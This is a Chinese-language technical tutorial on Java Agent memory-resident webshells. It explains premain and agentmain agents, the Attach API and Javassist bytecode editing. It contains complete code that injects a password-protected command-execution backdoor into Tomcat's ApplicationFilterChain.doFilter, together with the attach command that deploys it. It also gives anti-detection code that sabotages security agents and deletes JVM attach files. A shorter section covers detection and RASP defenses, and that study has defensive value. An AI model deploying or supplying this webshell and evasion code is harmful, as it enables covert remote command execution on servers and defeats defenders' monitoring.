Java Agent 内存马攻防
字数 1923 2025-08-11 17:39:51
Java Agent 内存马攻防技术详解
一、Java Agent 基础
1.1 Java Agent 简介
Java Agent 是基于 java.lang.instrument 包提供的检测 API 实现的工具,能够在运行时动态修改已加载或未加载的类,包括类的属性、方法等,而无需影响正常编译。
1.2 Java Agent 的两种使用方式
-
premain 方法:在 JVM 启动前加载
public static void premain(String agentArgs, Instrumentation inst) { ... } public static void premain(String agentArgs) { ... } -
agentmain 方法:在 JVM 启动后加载
public static void agentmain(String agentArgs, Instrumentation inst) { ... } public static void agentmain(String agentArgs) { ... }
注意:JVM 会优先加载带
Instrumentation参数的方法,加载成功则忽略不带参数的方法。
二、premain 方式实现
2.1 premain 方法特点
- 在 JVM 启动时执行,拦截大部分类的加载活动(系统类除外)
- 可以结合 ASM、javassist、cglib 等字节码编译工具改写类实现
2.2 premain 实现示例
-
创建应用程序 hello.jar
package com.nsfocus.test; public class hello { public static void main(String[] args) { System.out.println("hello world"); } } -
创建 premain 方式的 Agent
package com.nsfocus.test; import java.lang.instrument.Instrumentation; public class PreDemo { public static void premain(String args, Instrumentation inst) throws Exception { for (int i = 0; i < 10; i++) { System.out.println("I'm premain agent"); } } } -
MANIFEST.MF 配置
Manifest-Version: 1.0 Premain-Class: com.nsfocus.test.PreDemo -
运行方式
java -javaagent:PreDemo.jar -jar hello.jar
三、agentmain 方式实现
3.1 agentmain 方法特点
- 在 JVM 启动后加载
- 需要通过 Attach API 实现动态注入
3.2 Attach API 核心类
com.sun.tools.attach.VirtualMachine:与目标 JVM 建立连接com.sun.tools.attach.VirtualMachineDescriptor:描述虚拟机
3.3 agentmain 实现示例
-
创建 Agent
package com.nsfocus.test; import java.lang.instrument.Instrumentation; public class AgentDemo { public static void agentmain(String agentArgs, Instrumentation inst) { for (int i = 0; i < 10; i++) { System.out.println("I'm agentmain agent"); } } } -
MANIFEST.MF 配置
Manifest-Version: 1.0 Agent-Class: com.nsfocus.agent.AgentDemo Can-Retransform-Classes: true Can-Redefine-Classes: true -
Attacher 实现
package com.nsfocus.attacher; import com.sun.tools.attach.*; import java.io.IOException; public class AgentAttach { public static void main(String[] args) throws Exception { String id = args[0]; // PID String jarName = args[1]; // Agent jar VirtualMachine vm = VirtualMachine.attach(id); vm.loadAgent(jarName); vm.detach(); } } -
跨平台问题解决
- Windows:
sun.tools.attach.WindowsAttachProvider - Linux:
sun.tools.attach.LinuxAttachProvider - Solaris:
sun.tools.attach.SolarisAttachProvider
- Windows:
四、Instrumentation API
4.1 核心方法
public interface Instrumentation {
// 添加/删除类转换器
void addTransformer(ClassFileTransformer transformer);
boolean removeTransformer(ClassFileTransformer transformer);
// 重新定义类
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 判断类是否可修改
boolean isModifiableClass(Class<?> theClass);
// 获取所有已加载类
Class[] getAllLoadedClasses();
}
4.2 ClassFileTransformer 接口
public interface ClassFileTransformer {
byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer);
}
五、Javassist 字节码操作
5.1 核心类
CtClass:类信息ClassPool:获取 CtClassCtMethod:方法信息CtField:字段信息
5.2 示例代码
// 获取默认 ClassPool
ClassPool cp = ClassPool.getDefault();
// 获取目标类
CtClass cc = cp.get("com.nsfocus.Demo");
// 增强方法
CtMethod m = cc.getDeclaredMethod("test");
// 方法前后插入代码
m.insertBefore("{ System.out.println(\"start\"); }");
m.insertAfter("{ System.out.println(\"end\"); }");
// 返回修改后的字节码
return cc.toBytecode();
六、内存马注入实战
6.1 目标选择
选择 org.apache.catalina.core.ApplicationFilterChain 类的 doFilter 方法作为注入点,因为:
- 该方法拥有 Request 和 Response 参数
- 可以控制所有请求和响应
- 是 Web 请求处理的必经之路
6.2 内存马实现
-
Agent 核心代码
public class AgentDemo { public static void agentmain(String agentArgs, Instrumentation inst) throws Exception { Class[] classes = inst.getAllLoadedClasses(); for (Class aClass : classes) { if (aClass.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) { inst.addTransformer(new TransformerDemo(), true); inst.retransformClasses(aClass); } } } } -
Transformer 实现
public class TransformerDemo implements ClassFileTransformer { public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain"; public static final String editMethodName = "doFilter"; @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { try { ClassPool cp = ClassPool.getDefault(); CtClass ctc = cp.get(editClassName); CtMethod method = ctc.getDeclaredMethod(editMethodName); String source = "{ javax.servlet.http.HttpServletRequest request = $1;\n" + "javax.servlet.http.HttpServletResponse response = $2;\n" + "request.setCharacterEncoding(\"UTF-8\");\n" + "String password = request.getParameter(\"pwd\");\n" + "if (\"nsfocus\".equals(password)) {\n" + " String cmd = request.getParameter(\"cmd\");\n" + " if (cmd != null) {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();\n" + " byte[] b = new byte[1024];\n" + " int a = -1;\n" + " while ((a = in.read(b)) != -1) {\n" + " baos.write(b, 0, a);\n" + " }\n" + " response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");\n" + " }\n" + "}"; method.insertBefore(source); return ctc.toBytecode(); } catch (Exception e) { e.printStackTrace(); } return classfileBuffer; } } -
使用方法
java -jar attacher.jar [PID] "./agent.jar"
七、内存马检测技术
7.1 基于 Agent 的检测
检测思路:
- 动态注入检测 Agent
- 获取 JVM 中所有已加载的 Class
- 匹配内存马特征:
- 继承特定接口(如
ClassFileTransformer) - 类名/方法名包含可疑关键词(shell/memshell)
- 已知的 Webshell 包名(如
net.rebeyond.*)
- 继承特定接口(如
优缺点:
- 优点:对系统影响小,不修改系统
- 缺点:事后检测,复杂调用链检测困难
7.2 RASP 运行时防护
原理:
- 在关键类的特定方法处进行 hook
- 实时监控内存操作
优缺点:
- 优点:实时检测,准确率高
- 缺点:资源消耗大,侵入性强
八、内存马免杀技术
8.1 破坏检测 Agent 加载
方法一:拦截 ClassFileTransformer
public class ProtectTransformer implements ClassFileTransformer {
private boolean check(String className, CtClass ctClass) throws Throwable {
CtClass[] interfaces = ctClass.getInterfaces();
for (CtClass anInterface : interfaces) {
if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer")) {
return true; // 检测到其他Agent
}
}
return false;
}
@Override
public byte[] transform(...) {
if (check(className, ctc)) {
return new byte[0]; // 返回空字节码破坏Agent
}
return classfileBuffer;
}
}
方法二:删除通信文件(Linux)
// 删除JVM进程通信文件
new File("/tmp/.java_pid" + pid).delete();
九、总结
Java Agent 内存马技术要点:
-
注入流程:
- 通过 Attach API 连接目标 JVM
- 加载 Agent 获取 Instrumentation 实例
- 使用 Transformer 修改目标类字节码
-
关键技术:
VirtualMachine.attach()和loadAgent()Instrumentation.addTransformer()- Javassist 字节码操作
-
防御手段:
- 基于 Agent 的特征检测
- RASP 实时防护
- 监控
/tmp/.java_pid*文件
-
免杀技术:
- 拦截
ClassFileTransformer接口 - 破坏 JVM 通信机制
- 拦截
通过深入理解这些技术原理,可以更好地进行安全防护和攻击检测。